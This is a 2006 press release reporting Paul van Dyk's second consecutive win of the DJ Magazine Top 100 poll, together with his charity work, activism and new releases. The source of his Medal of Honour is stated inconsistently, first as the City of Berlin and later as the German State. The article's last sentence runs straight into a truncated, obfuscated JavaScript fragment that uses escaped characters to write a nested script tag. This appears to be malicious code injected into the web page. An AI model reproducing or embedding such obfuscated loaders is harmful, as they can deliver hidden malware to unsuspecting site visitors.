Following his recent award of the Medal Of Honour from the City of Berlin, Paul van Dyk has been voted the World's No.1 DJ for the second consecutive year. The annual DJ Magazine Top 100 DJs Poll is the global benchmark for dance artists, and 2006's Poll received a staggering 217,000 votes from dance fans across the world – only 8 countries on Earth didn't take part this year.
The German dance star and social activist received the award at a ceremony at London's Fabric on Wednesday, 25th October.
Paul van Dyk said: "To be voted No.1 last year was a great honour, and to win it for a second time is very special. I'd like to dedicate the award to all those involved in electronic music who make and play the records we love. The amount of votes in this year's Poll is testament to the continuing strength of our scene, and that in difficult global times, our culture stands as a positive force in uniting people from different cultural backgrounds through music."
PvD is renowned as one of the hardest working figures in international dance music, with sold-out tours that cross each continent, headline spots at every major rock and dance festival, and a hugely successful recording career to match any of dance music's biggest stars (including 2 weeks at No.11 in the UK album charts).
Aside from his musical activity, Paul has always dedicated a significant part of his life to politics and social justice; he was recently awarded the Medal Of Honour from the German State in recognition of his work with Ruckenwind, a partnership scheme with the German Red Cross that helps poor and disadvantaged children in Berlin. Only 400 living Germans can hold the award at any one time, and he joins a distinguished list of arts and political establishment figures. In July, Paul headlined the Loveparade when it returned to Berlin after a short hiatus, with 1.2 million clubbers from around the world taking to the streets.
His political activism stems from a childhood spent in East Germany, when as a young teen he fled over the Berlin Wall to the West. Paul has held memorable television debates with East German Communist Party leaders, supports a children's charity in India's Mumbai, and lent his time and efforts to the US Rock The Vote campaign, where he joined the likes of P Diddy, the Black Eyed Peas and George Clinton in campaigning for America's youth to sign up to the electoral roll.
Paul recently launched his Vonyc.com download service, specialising in electronic music. He is currently working on his next artist album, due for release in 2007. His remix of Depeche Mode's 'Martyr' is released shortly.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22